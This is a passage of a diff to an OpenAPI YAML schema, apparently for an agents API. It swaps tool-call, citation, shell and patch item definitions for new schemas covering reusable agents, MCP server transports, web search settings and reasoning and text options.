- - $ref: '#/components/schemas/InputTextContentParam'
- - $ref: '#/components/schemas/InputImageContentParamAutoParam'
- - $ref: '#/components/schemas/InputFileContentParam'
- type: array
- description: An array of content outputs (text, image, file) for the function tool call.
- name:
- anyOf:
- - type: string
- maxLength: 128
- minLength: 1
- description: The name of the tool that produced the output.
- - type: 'null'
- namespace:
- anyOf:
- - type: string
- maxLength: 64
- minLength: 1
- pattern: ^[a-zA-Z0-9_-]+$
- description: The namespace of the tool that produced the output.
- - type: 'null'
- caller:
- anyOf:
- - $ref: '#/components/schemas/ToolCallCallerParam'
- description: The execution context that produced this tool call.
- - type: 'null'
- status:
- anyOf:
- - $ref: '#/components/schemas/FunctionCallItemStatus'
- description: The status of the item. One of `in_progress`, `completed`, or `incomplete`. Populated when items are returned via API.
- - type: 'null'
- type: object
+ description: The type of the object. Always `stdio`.
+ command:
+ type: string
+ minLength: 0
+ description: The command used to start the MCP server.
+ args:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: Arguments passed to the MCP server command.
+ cwd:
+ type: string
+ minLength: 0
+ description: The working directory used to start the MCP server.
+ env_vars:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: Environment variable names inherited from the execution environment.
required:
- type
- - output
- title: Function tool call output
- description: The output of a function tool call.
- FileCitationParam:
+ - command
+ - args
+ - cwd
+ - env_vars
+ additionalProperties: false
+ description: Starts an MCP server as a local process.
+ PersistedMcpTransportResource:
+ description: A credential-free transport used to connect to an MCP server.
+ discriminator:
+ propertyName: type
+ mapping:
+ http: '#/components/schemas/PersistedMcpTransportResourceHttp'
+ stdio: '#/components/schemas/PersistedMcpTransportResourceStdio'
+ x-oai-discriminator-values:
+ - http
+ - stdio
+ anyOf:
+ - $ref: '#/components/schemas/PersistedMcpTransportResourceHttp'
+ - $ref: '#/components/schemas/PersistedMcpTransportResourceStdio'
+ McpConnectionOriginResource:
+ type: string
+ enum:
+ - service
+ - environment
+ description: Where outbound MCP HTTP connections originate.
+ PersistedAgentToolResourceMcp:
+ type: object
properties:
type:
type: string
enum:
- - file_citation
- description: The citation type. Always `file_citation`.
- default: file_citation
+ - mcp
+ default: mcp
x-stainless-const: true
- index:
- type: integer
- minimum: 0
- description: The index of the file in the list of files.
- file_id:
- type: string
- description: The ID of the file.
- example: file-123
- filename:
+ description: The type of the object. Always `mcp`.
+ server_label:
type: string
- description: The filename of the file cited.
- type: object
+ minLength: 0
+ description: A label used to identify the MCP server in tool calls.
+ credential_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The vault credential selected for this MCP server, if any.
+ transport:
+ $ref: '#/components/schemas/PersistedMcpTransportResource'
+ description: The credential-free transport used to connect to the MCP server.
+ request_metadata:
+ type: object
+ additionalProperties: {}
+ propertyNames:
+ type: string
+ minLength: 0
+ minProperties: 0
+ description: Metadata included with requests to this MCP server.
+ allowed_tools:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: The MCP tools the agent may call, or null when all server tools are allowed.
+ required:
+ type: boolean
+ description: Whether this MCP server must initialize before the first turn.
+ connection_origin:
+ $ref: '#/components/schemas/McpConnectionOriginResource'
+ description: Where outbound MCP HTTP connections originate.
required:
- type
- - index
- - file_id
- - filename
- UrlCitationParam:
+ - server_label
+ - credential_id
+ - transport
+ - request_metadata
+ - allowed_tools
+ - required
+ - connection_origin
+ additionalProperties: false
+ description: Tools provided by a remote MCP server without stored credentials.
+ WebSearchModeResource:
+ type: string
+ enum:
+ - disabled
+ - cached
+ - live
+ description: The source used for web search results.
+ WebSearchContextSizeResource:
+ type: string
+ enum:
+ - low
+ - medium
+ - high
+ description: The amount of web search context made available to the model.
+ WebSearchLocationResource:
+ type: object
+ properties:
+ country:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The two-letter ISO country code, such as `US`.
+ region:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The region or state name.
+ city:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The city name.
+ timezone:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The IANA timezone, such as `America/Los_Angeles`.
+ required:
+ - country
+ - region
+ - city
+ - timezone
+ additionalProperties: false
+ description: Approximate user location used to localize web search results.
+ PersistedAgentToolResourceWebSearch:
+ type: object
properties:
type:
type: string
enum:
- - url_citation
- description: The citation type. Always `url_citation`.
- default: url_citation
+ - web_search
+ default: web_search
x-stainless-const: true
- start_index:
- type: integer
- minimum: 0
- description: The index of the first character of the citation in the message.
- end_index:
- type: integer
- minimum: 0
- description: The index of the last character of the citation in the message.
- url:
- type: string
- format: uri
- description: The URL of the cited resource.
- title:
- type: string
- description: The title of the cited resource.
- type: object
+ description: The type of the object. Always `web_search`.
+ mode:
+ $ref: '#/components/schemas/WebSearchModeResource'
+ description: The source used for web search results.
+ context_size:
+ $ref: '#/components/schemas/WebSearchContextSizeResource'
+ description: The amount of search context made available to the model. Defaults to `medium`.
+ allowed_domains:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: Allowed search domains, or `null` when the search is unrestricted.
+ location:
+ anyOf:
+ - $ref: '#/components/schemas/WebSearchLocationResource'
+ - type: 'null'
+ description: Approximate location used to localize search results, if provided.
required:
- type
- - start_index
- - end_index
- - url
- - title
- ContainerFileCitationParam:
+ - mode
+ - context_size
+ - allowed_domains
+ - location
+ additionalProperties: false
+ description: Web search.
+ PersistedAgentToolResource:
+ description: A credential-free tool available to a reusable agent.
+ discriminator:
+ propertyName: type
+ mapping:
+ function: '#/components/schemas/PersistedAgentToolResourceFunction'
+ tool_search: '#/components/schemas/PersistedAgentToolResourceToolSearch'
+ programmatic_tool_calling: '#/components/schemas/PersistedAgentToolResourceProgrammaticToolCalling'
+ mcp: '#/components/schemas/PersistedAgentToolResourceMcp'
+ web_search: '#/components/schemas/PersistedAgentToolResourceWebSearch'
+ x-oai-discriminator-values:
+ - function
+ - tool_search
+ - programmatic_tool_calling
+ - mcp
+ - web_search
+ anyOf:
+ - $ref: '#/components/schemas/PersistedAgentToolResourceFunction'
+ - $ref: '#/components/schemas/PersistedAgentToolResourceToolSearch'
+ - $ref: '#/components/schemas/PersistedAgentToolResourceProgrammaticToolCalling'
+ - $ref: '#/components/schemas/PersistedAgentToolResourceMcp'
+ - $ref: '#/components/schemas/PersistedAgentToolResourceWebSearch'
+ MultiAgentConfigResource:
+ type: object
properties:
- type:
+ enabled:
+ type: boolean
+ description: Whether subagent tools are enabled. Defaults to false.
+ max_concurrent_subagents:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ minimum: 1
+ maximum: 4294967295
+ description: Maximum number of subagents that may run concurrently, or null when disabled. Defaults to 6 when enabled.
+ required:
+ - enabled
+ - max_concurrent_subagents
+ additionalProperties: false
+ description: The resolved configuration for creating and coordinating subagents.
+ AgentResource:
+ type: object
+ properties:
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the reusable agent.
+ object:
type: string
enum:
- - container_file_citation
- description: The citation type. Always `container_file_citation`.
- default: container_file_citation
+ - agent
+ default: agent
x-stainless-const: true
- start_index:
+ description: The object type. Always `agent`.
+ created_at:
type: integer
- minimum: 0
- description: The index of the first character of the citation in the message.
- end_index:
+ format: int64
+ description: The Unix timestamp, in seconds, when the agent was created.
+ updated_at:
type: integer
- minimum: 0
- description: The index of the last character of the citation in the message.
- container_id:
- type: string
- description: The ID of the container.
- example: cntr_123
- file_id:
- type: string
- description: The ID of the container file.
- example: cfile_123
- filename:
+ format: int64
+ description: The Unix timestamp, in seconds, when the agent was last updated.
+ name:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: A human-readable name for the agent, or null if it is unnamed.
+ metadata:
+ type: object
+ additionalProperties:
+ type: string
+ minLength: 0
+ propertyNames:
+ type: string
+ minLength: 0
+ minProperties: 0
+ description: Custom string key-value pairs attached to the agent.
+ model:
type: string
- description: The filename of the container file cited.
+ minLength: 0
+ description: The requested model name used for inference.
+ reasoning:
+ $ref: '#/components/schemas/ReasoningResource'
+ description: The resolved reasoning configuration, including the model default for an omitted effort.
+ text:
+ $ref: '#/components/schemas/TextResource'
+ description: The resolved configuration for text generated by the agent.
+ service_tier:
+ $ref: '#/components/schemas/ServiceTierResource'
+ description: The resolved service-tier policy used for model requests.
+ instructions:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: Custom instructions appended to the agent's default base instructions.
+ tools:
+ type: array
+ items:
+ $ref: '#/components/schemas/PersistedAgentToolResource'
+ minItems: 0
+ maxItems: 2000
+ description: Tools available to the agent.
+ multi_agent:
+ $ref: '#/components/schemas/MultiAgentConfigResource'
+ description: The resolved configuration for creating and coordinating subagents.
+ required:
+ - id
+ - object
+ - created_at
+ - updated_at
+ - name
+ - metadata
+ - model
+ - reasoning
+ - text
+ - service_tier
+ - instructions
+ - tools
+ - multi_agent
+ additionalProperties: false
+ description: A reusable agent scoped to the caller's project.
+ AgentListResource:
type: object
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ default: list
+ x-stainless-const: true
+ description: The object type, which is always `list`.
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/AgentResource'
+ minItems: 0
+ maxItems: 2000
+ description: The resources returned in this page, in the requested sort order.
+ first_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the first resource in `data`, or `null` if the page is empty.
+ last_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the last resource in `data`, or `null` if the page is empty. Pass this as `after` with the same order and filters.
+ has_more:
+ type: boolean
+ description: Whether there are more resources to retrieve after this page.
required:
- - type
- - start_index
- - end_index
- - container_id
- - file_id
- - filename
- ToolSearchCallItemParam:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ additionalProperties: false
+ description: A page of Agents API resources, with IDs for retrieving additional pages.
+ ReasoningEffortParam:
+ type: string
+ enum:
+ - none
+ - minimal
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ description: The amount of reasoning effort the model should use.
+ ReasoningSummaryParam:
+ type: string
+ enum:
+ - concise
+ - detailed
+ - auto
+ x-enumDescriptions:
+ - Returns a concise reasoning summary when supported.
+ - Returns a detailed reasoning summary when supported.
+ - Automatically selects the most detailed summary supported by the model.
+ description: The reasoning summary format requested from the model.
+ ReasoningParam:
+ type: object
properties:
- id:
+ effort:
anyOf:
- - type: string
- description: The unique ID of this tool search call.
- example: tsc_123
+ - $ref: '#/components/schemas/ReasoningEffortParam'
- type: 'null'
- call_id:
+ description: The amount of reasoning effort the model should use. Omission lets the model select it.
+ summary:
anyOf:
- - type: string
- maxLength: 64
- minLength: 1
- description: The unique ID of the tool search call generated by the model.
+ - $ref: '#/components/schemas/ReasoningSummaryParam'
- type: 'null'
+ description: Controls whether the response includes a reasoning summary.
+ additionalProperties: false
+ description: Reasoning configuration for the agent.
+ TextFormatParamText:
+ type: object
+ properties:
type:
type: string
enum:
- - tool_search_call
- description: The item type. Always `tool_search_call`.
- default: tool_search_call
+ - text
+ default: text
x-stainless-const: true
- execution:
- $ref: '#/components/schemas/ToolSearchExecutionType'
- description: Whether tool search was executed by the server or by the client.
- arguments:
- $ref: '#/components/schemas/EmptyModelParam'
- description: The arguments supplied to the tool search call.
- status:
- anyOf:
- - $ref: '#/components/schemas/FunctionCallItemStatus'
- description: The status of the tool search call.
- - type: 'null'
- type: object
+ description: The type of the object. Always `text`.
required:
- type
- - arguments
- ToolSearchOutputItemParam:
+ additionalProperties: false
+ description: Generates ordinary text without a structured-output constraint.
+ TextFormatParamJsonSchema:
+ type: object
properties:
- id:
- anyOf:
- - type: string
- description: The unique ID of this tool search output.
- example: tso_123
- - type: 'null'
- call_id:
- anyOf:
- - type: string
- maxLength: 64
- minLength: 1
- description: The unique ID of the tool search call generated by the model.
- - type: 'null'
type:
type: string
enum:
- - tool_search_output
- description: The item type. Always `tool_search_output`.
- default: tool_search_output
+ - json_schema
+ default: json_schema
x-stainless-const: true
- execution:
- $ref: '#/components/schemas/ToolSearchExecutionType'
- description: Whether tool search was executed by the server or by the client.
- tools:
- items:
- $ref: '#/components/schemas/Tool'
- type: array
- description: The loaded tool definitions returned by the tool search output.
- status:
- anyOf:
- - $ref: '#/components/schemas/FunctionCallItemStatus'
- description: The status of the tool search output.
- - type: 'null'
- type: object
+ description: The type of the object. Always `json_schema`.
+ schema:
+ type: object
+ additionalProperties: {}
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: The JSON Schema that generated text must match.
required:
- type
- - tools
- AdditionalToolsItemParam:
+ - schema
+ additionalProperties: false
+ description: Constrains generated text to a JSON Schema.
+ TextFormatParam:
+ description: The output format for generated text.
+ discriminator:
+ propertyName: type
+ mapping:
+ text: '#/components/schemas/TextFormatParamText'
+ json_schema: '#/components/schemas/TextFormatParamJsonSchema'
+ x-oai-discriminator-values:
+ - text
+ - json_schema
+ anyOf:
+ - $ref: '#/components/schemas/TextFormatParamText'
+ - $ref: '#/components/schemas/TextFormatParamJsonSchema'
+ VerbosityParam:
+ type: string
+ enum:
+ - low
+ - medium
+ - high
+ x-enumDescriptions:
+ - Produces less text.
+ - Uses the default amount of text.
+ - Produces more text.
+ description: The amount of text the model should produce.
+ TextParam:
+ type: object
properties:
- id:
+ format:
anyOf:
- - type: string
- description: The unique ID of this additional tools item.
- example: at_123
+ - $ref: '#/components/schemas/TextFormatParam'
+ - type: 'null'
+ description: 'The output format. Omission uses ordinary text (`{"type": "text"}`).'
+ verbosity:
+ anyOf:
+ - $ref: '#/components/schemas/VerbosityParam'
- type: 'null'
+ description: The amount of text the model should produce. Defaults to `medium`, matching Responses.
+ additionalProperties: false
+ description: Configuration for text generated by the agent.
+ ServiceTierParam:
+ type: string
+ enum:
+ - auto
+ - default
+ - flex
+ - priority
+ - fast
+ x-enumDescriptions:
+ - Selects the service tier automatically.
+ - Uses the default service tier.
+ - Uses the flex service tier.
+ - Uses the priority service tier.
+ - Uses the fast service tier.
+ description: The service tier used for model requests.
+ PersistedAgentToolConfigParamFunction:
+ type: object
+ properties:
type:
type: string
enum:
- - additional_tools
- description: The item type. Always `additional_tools`.
- default: additional_tools
+ - function
+ default: function
x-stainless-const: true
- role:
+ description: The type of the object. Always `function`.
+ name:
type: string
- enum:
- - developer
- description: The role that provided the additional tools. Only `developer` is supported.
- default: developer
- x-stainless-const: true
- tools:
- items:
- $ref: '#/components/schemas/Tool'
- type: array
- description: A list of additional tools made available at this item.
- type: object
+ minLength: 0
+ maxLength: 1048576
+ description: The name of the function.
+ description:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: A description of what the function does.
+ parameters:
+ type: object
+ additionalProperties: {}
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: A JSON Schema object describing the function's arguments.
+ defer_loading:
+ type: boolean
+ default: false
+ description: Whether this function is deferred and discovered through tool search. Defaults to `false`.
required:
- type
- - role
- - tools
- CompactionSummaryItemParam:
+ - name
+ - description
+ - parameters
+ additionalProperties: false
+ description: A function defined by the application.
+ PersistedAgentToolConfigParamToolSearch:
+ type: object
properties:
- id:
- anyOf:
- - type: string
- description: The ID of the compaction item.
- example: cmp_123
- - type: 'null'
type:
type: string
enum:
- - compaction
- description: The type of the item. Always `compaction`.
- default: compaction
+ - tool_search
+ default: tool_search
x-stainless-const: true
- encrypted_content:
- type: string
- maxLength: 20971520
- description: The encrypted content of the compaction summary.
- type: object
+ description: The type of the object. Always `tool_search`.
required:
- type
- - encrypted_content
- title: Compaction item
- description: A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
- FunctionShellActionParam:
- properties:
- commands:
- items:
- type: string
- type: array
- description: Ordered shell commands for the execution environment to run.
- timeout_ms:
- anyOf:
- - type: integer
- description: Maximum wall-clock time in milliseconds to allow the shell commands to run.
- - type: 'null'
- max_output_length:
- anyOf:
- - type: integer
- description: Maximum number of UTF-8 characters to capture from combined stdout and stderr output.
- - type: 'null'
+ additionalProperties: false
+ description: Discovers deferred function tools and loads them into the model context.
+ PersistedAgentToolConfigParamProgrammaticToolCalling:
type: object
- required:
- - commands
- title: Shell action
- description: Commands and limits describing how to run the shell tool call.
- FunctionShellCallItemStatus:
- type: string
- enum:
- - in_progress
- - completed
- - incomplete
- title: Shell call status
- description: Status values reported for shell tool calls.
- FunctionShellCallItemParam:
properties:
- id:
- anyOf:
- - type: string
- description: The unique ID of the shell tool call. Populated when this item is returned via API.
- example: sh_123
- - type: 'null'
- call_id:
- type: string
- maxLength: 64
- minLength: 1
- description: The unique ID of the shell tool call generated by the model.
- caller:
- anyOf:
- - $ref: '#/components/schemas/ToolCallCallerParam'
- description: The execution context that produced this tool call.
- - type: 'null'
type:
type: string
enum:
- - shell_call
- description: The type of the item. Always `shell_call`.
- default: shell_call
+ - programmatic_tool_calling
+ default: programmatic_tool_calling
x-stainless-const: true
- action:
- $ref: '#/components/schemas/FunctionShellActionParam'
- description: The shell commands and limits that describe how to run the tool call.
- status:
- anyOf:
- - $ref: '#/components/schemas/FunctionShellCallItemStatus'
- description: The status of the shell call. One of `in_progress`, `completed`, or `incomplete`.
- - type: 'null'
- environment:
- anyOf:
- - discriminator:
- propertyName: type
- description: The environment to execute the shell commands in.
- anyOf:
- - $ref: '#/components/schemas/LocalEnvironmentParam'
- - $ref: '#/components/schemas/ContainerReferenceParam'
- - type: 'null'
- type: object
+ description: The type of the object. Always `programmatic_tool_calling`.
+ enabled:
+ type: boolean
+ default: true
+ description: Whether tools can be called from model-generated code. Defaults to `true`.
required:
- - call_id
- type
- - action
- title: Shell tool call
- description: A tool representing a request to execute one or more shell commands.
- FunctionShellCallOutputTimeoutOutcomeParam:
+ additionalProperties: false
+ description: Enables calling tools from model-generated code.
+ PersistedMcpTransportConfigParamHttp:
+ type: object
properties:
type:
type: string
enum:
- - timeout
- description: The outcome type. Always `timeout`.
- default: timeout
+ - http
+ default: http
x-stainless-const: true
- type: object
+ description: The type of the object. Always `http`.
+ server_url:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The URL of the MCP server.
+ headers:
+ type:
+ - object
+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: Non-secret HTTP headers sent to the MCP server.
required:
- type
- title: Shell call timeout outcome
- description: Indicates that the shell call exceeded its configured time limit.
- FunctionShellCallOutputExitOutcomeParam:
+ - server_url
+ additionalProperties: false
+ description: Connects to an MCP server over HTTP.
+ PersistedMcpTransportConfigParamStdio:
+ type: object
properties:
type:
type: string
enum:
- - exit
- description: The outcome type. Always `exit`.
- default: exit
+ - stdio
+ default: stdio
x-stainless-const: true
- exit_code:
- type: integer
- description: The exit code returned by the shell process.
- type: object
+ description: The type of the object. Always `stdio`.
+ command:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The command used to start the MCP server.
+ args:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Arguments passed to the MCP server command.
+ cwd:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The working directory used to start the MCP server.
+ env_vars:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Environment variable names to inherit from the selected execution environment.
required:
- type
- - exit_code
- title: Shell call exit outcome
- description: Indicates that the shell commands finished and returned an exit code.
- FunctionShellCallOutputOutcomeParam:
+ - command
+ - cwd
+ additionalProperties: false
+ description: Starts an MCP server as a local process.
+ PersistedMcpTransportConfigParam:
+ description: A credential-free transport used to connect to an MCP server.
discriminator:
propertyName: type
- title: Shell call outcome
- description: The exit or timeout outcome associated with this shell call.
+ mapping:
+ http: '#/components/schemas/PersistedMcpTransportConfigParamHttp'
+ stdio: '#/components/schemas/PersistedMcpTransportConfigParamStdio'
+ x-oai-discriminator-values:
+ - http
+ - stdio
anyOf:
- - $ref: '#/components/schemas/FunctionShellCallOutputTimeoutOutcomeParam'
- - $ref: '#/components/schemas/FunctionShellCallOutputExitOutcomeParam'
- FunctionShellCallOutputContentParam:
- properties:
- stdout:
- type: string
- maxLength: 10485760
- description: Captured stdout output for the shell call.
- stderr:
- type: string
- maxLength: 10485760
- description: Captured stderr output for the shell call.
- outcome:
- $ref: '#/components/schemas/FunctionShellCallOutputOutcomeParam'
- description: The exit or timeout outcome associated with this shell call.
+ - $ref: '#/components/schemas/PersistedMcpTransportConfigParamHttp'
+ - $ref: '#/components/schemas/PersistedMcpTransportConfigParamStdio'
+ McpConnectionOriginParam:
+ type: string
+ enum:
+ - service
+ - environment
+ x-enumDescriptions:
+ - Uses the Managed Agents service network.
+ - Uses the session's execution environment.
+ description: Where outbound MCP HTTP connections originate.
+ PersistedAgentToolConfigParamMcp:
type: object
- required:
- - stdout
- - stderr
- - outcome
- title: Shell output content
- description: Captured stdout and stderr for a portion of a shell tool call output.
- FunctionShellCallOutputItemParam:
properties:
- id:
- anyOf:
- - type: string
- description: The unique ID of the shell tool call output. Populated when this item is returned via API.
- example: sho_123
- - type: 'null'
- call_id:
- type: string
- maxLength: 64
- minLength: 1
- description: The unique ID of the shell tool call generated by the model.
- caller:
- anyOf:
- - $ref: '#/components/schemas/ToolCallCallerParam'
- description: The execution context that produced this tool call.
- - type: 'null'
type:
type: string
enum:
- - shell_call_output
- description: The type of the item. Always `shell_call_output`.
- default: shell_call_output
+ - mcp
+ default: mcp
x-stainless-const: true
- output:
+ description: The type of the object. Always `mcp`.
+ server_label:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: A label used to identify the MCP server in tool calls.
+ credential_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The vault credential selected for this MCP server. Optional when exactly one attached credential matches the server URL.
+ transport:
+ $ref: '#/components/schemas/PersistedMcpTransportConfigParam'
+ description: The credential-free transport used to connect to the MCP server.
+ request_metadata:
+ type:
+ - object
+ - 'null'
+ additionalProperties: {}
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: Metadata included with requests to this MCP server.
+ allowed_tools:
+ type:
+ - array
+ - 'null'
items:
- $ref: '#/components/schemas/FunctionShellCallOutputContentParam'
- type: array
- description: Captured chunks of stdout and stderr output, along with their associated outcomes.
- status:
- anyOf:
- - $ref: '#/components/schemas/FunctionShellCallItemStatus'
- description: The status of the shell call output.
- - type: 'null'
- max_output_length:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: The MCP tools the agent may call. All server tools are allowed when omitted.
+ required:
+ type: boolean
+ default: false
+ description: Whether this MCP server must initialize before the first turn. Defaults to `false`.
+ connection_origin:
anyOf:
- - type: integer
- description: The maximum number of UTF-8 characters captured for this shell call's combined output.
+ - $ref: '#/components/schemas/McpConnectionOriginParam'
- type: 'null'
- type: object
+ description: Selects where outbound MCP HTTP connections originate.
required:
- - call_id
- type
- - output
- title: Shell tool call output
- description: The streamed output items emitted by a shell tool call.
- ApplyPatchCallStatusParam:
+ - server_label
+ - transport
+ additionalProperties: false
+ description: Tools provided by a remote MCP server without stored credentials.
+ WebSearchModeParam:
type: string
enum:
- - in_progress
- - completed
- title: Apply patch call status
- description: Status values reported for apply_patch tool calls.
- ApplyPatchCreateFileOperationParam:
+ - disabled
+ - cached
+ - live
+ x-enumDescriptions:
+ - Disables web search.
+ - Uses cached search results.
+ - Searches the live web.
+ description: The source used for web search results.
+ WebSearchContextSizeParam:
+ type: string
+ enum:
+ - low
+ - medium
+ - high
+ description: The amount of web search context made available to the model.
+ WebSearchLocationParam:
+ type: object
properties:
- type:
- type: string
- enum:
- - create_file
- description: The operation type. Always `create_file`.
- default: create_file
- x-stainless-const: true
- path:
- type: string
- minLength: 1
- description: Path of the file to create relative to the workspace root.
- diff:
- type: string
- maxLength: 10485760
- description: Unified diff content to apply when creating the file.
+ country:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The two-letter ISO country code, such as `US`.
+ region:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The region or state name.
+ city:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The city name.
+ timezone:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The IANA timezone, such as `America/Los_Angeles`.
+ additionalProperties: false
+ description: Approximate user location used to localize web search results.
+ PersistedAgentToolConfigParamWebSearch:
type: object
- required:
- - type
- - path
- - diff
- title: Apply patch create file operation
- description: Instruction for creating a new file via the apply_patch tool.
- ApplyPatchDeleteFileOperationParam:
properties:
type:
type: string
enum:
- - delete_file
- description: The operation type. Always `delete_file`.
- default: delete_file
+ - web_search
+ default: web_search
x-stainless-const: true
- path:
- type: string
- minLength: 1
- description: Path of the file to delete relative to the workspace root.
- type: object
+ description: The type of the object. Always `web_search`.
+ mode:
+ anyOf:
+ - $ref: '#/components/schemas/WebSearchModeParam'
+ - type: 'null'
+ description: The source used for web search results. Defaults to `live`.
+ context_size:
+ anyOf:
+ - $ref: '#/components/schemas/WebSearchContextSizeParam'
+ - type: 'null'
+ description: The amount of search context made available to the model. Defaults to `medium`.
+ allowed_domains:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Domains the search may include.
+ location:
+ anyOf:
+ - $ref: '#/components/schemas/WebSearchLocationParam'
+ - type: 'null'
+ description: Approximate location used to localize search results.
required:
- type
- - path
- title: Apply patch delete file operation
- description: Instruction for deleting an existing file via the apply_patch tool.
- ApplyPatchUpdateFileOperationParam:
+ additionalProperties: false
+ description: Web search.
+ PersistedAgentToolConfigParam:
+ description: A tool that can be stored on a reusable agent without session credentials.
+ discriminator:
+ propertyName: type
+ mapping:
+ function: '#/components/schemas/PersistedAgentToolConfigParamFunction'
+ tool_search: '#/components/schemas/PersistedAgentToolConfigParamToolSearch'
+ programmatic_tool_calling: '#/components/schemas/PersistedAgentToolConfigParamProgrammaticToolCalling'
+ mcp: '#/components/schemas/PersistedAgentToolConfigParamMcp'
+ web_search: '#/components/schemas/PersistedAgentToolConfigParamWebSearch'
+ x-oai-discriminator-values:
+ - function
+ - tool_search
+ - programmatic_tool_calling
+ - mcp
+ - web_search
+ anyOf:
+ - $ref: '#/components/schemas/PersistedAgentToolConfigParamFunction'
+ - $ref: '#/components/schemas/PersistedAgentToolConfigParamToolSearch'
+ - $ref: '#/components/schemas/PersistedAgentToolConfigParamProgrammaticToolCalling'
+ - $ref: '#/components/schemas/PersistedAgentToolConfigParamMcp'
+ - $ref: '#/components/schemas/PersistedAgentToolConfigParamWebSearch'
+ MultiAgentConfigCurrentParam:
+ type: object
properties:
- type:
- type: string
- enum:
- - update_file
- description: The operation type. Always `update_file`.
- default: update_file
- x-stainless-const: true
- path:
- type: string
- minLength: 1
- description: Path of the file to update relative to the workspace root.
- diff:
+ enabled:
+ type: boolean
+ description: Whether subagent tools are enabled.
+ max_concurrent_subagents:
+ type: integer
+ format: int64
+ minimum: 1
+ maximum: 4294967295
+ description: Maximum number of subagents that may run concurrently. Defaults to 6.
+ required:
+ - enabled
+ additionalProperties: false
+ description: Explicit configuration for creating and coordinating subagents.
+ CreateAgentParams:
+ type: object
+ properties:
+ metadata:
+ type:
+ - object
+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 512
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 64
+ minProperties: 0
+ maxProperties: 16
+ description: Up to 16 string key-value pairs, with keys up to 64 and values up to 512 characters. Omission or null defaults to an empty map.
+ name:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 128
+ description: A human-readable name for the agent. Omission or null leaves the agent unnamed.
+ model:
type: string
- maxLength: 10485760
- description: Unified diff content to apply to the existing file.
+ minLength: 0
+ maxLength: 1048576
+ description: The model to use for the agent. The requested model name is preserved.
+ reasoning:
+ anyOf:
+ - $ref: '#/components/schemas/ReasoningParam'
+ - type: 'null'
+ description: Configuration for model reasoning. Omission uses the model's default effort.
+ text:
+ anyOf:
+ - $ref: '#/components/schemas/TextParam'
+ - type: 'null'
+ description: Configuration for generated text. Defaults to the `text` format and medium verbosity.
+ service_tier:
+ anyOf:
+ - $ref: '#/components/schemas/ServiceTierParam'
+ - type: 'null'
+ description: The service tier used for model requests. Defaults to `auto`.
+ instructions:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: Additional instructions appended to the agent's default base instructions. Omit or set to null to add no custom instructions.
+ tools:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/PersistedAgentToolConfigParam'
+ minItems: 0
+ maxItems: 2000
+ description: Tools available to the agent. Defaults to an empty list.
+ multi_agent:
+ anyOf:
+ - $ref: '#/components/schemas/MultiAgentConfigCurrentParam'
+ - type: 'null'
+ description: Configuration for creating and coordinating subagents. Subagent tools are disabled by default.
+ required:
+ - model
+ additionalProperties: false
+ description: Parameters for creating a reusable agent.
+ UpdateAgentParams:
type: object
- required:
- - type
- - path
- - diff
- title: Apply patch update file operation
- description: Instruction for updating an existing file via the apply_patch tool.
- ApplyPatchOperationParam:
- discriminator:
- propertyName: type
- title: Apply patch operation
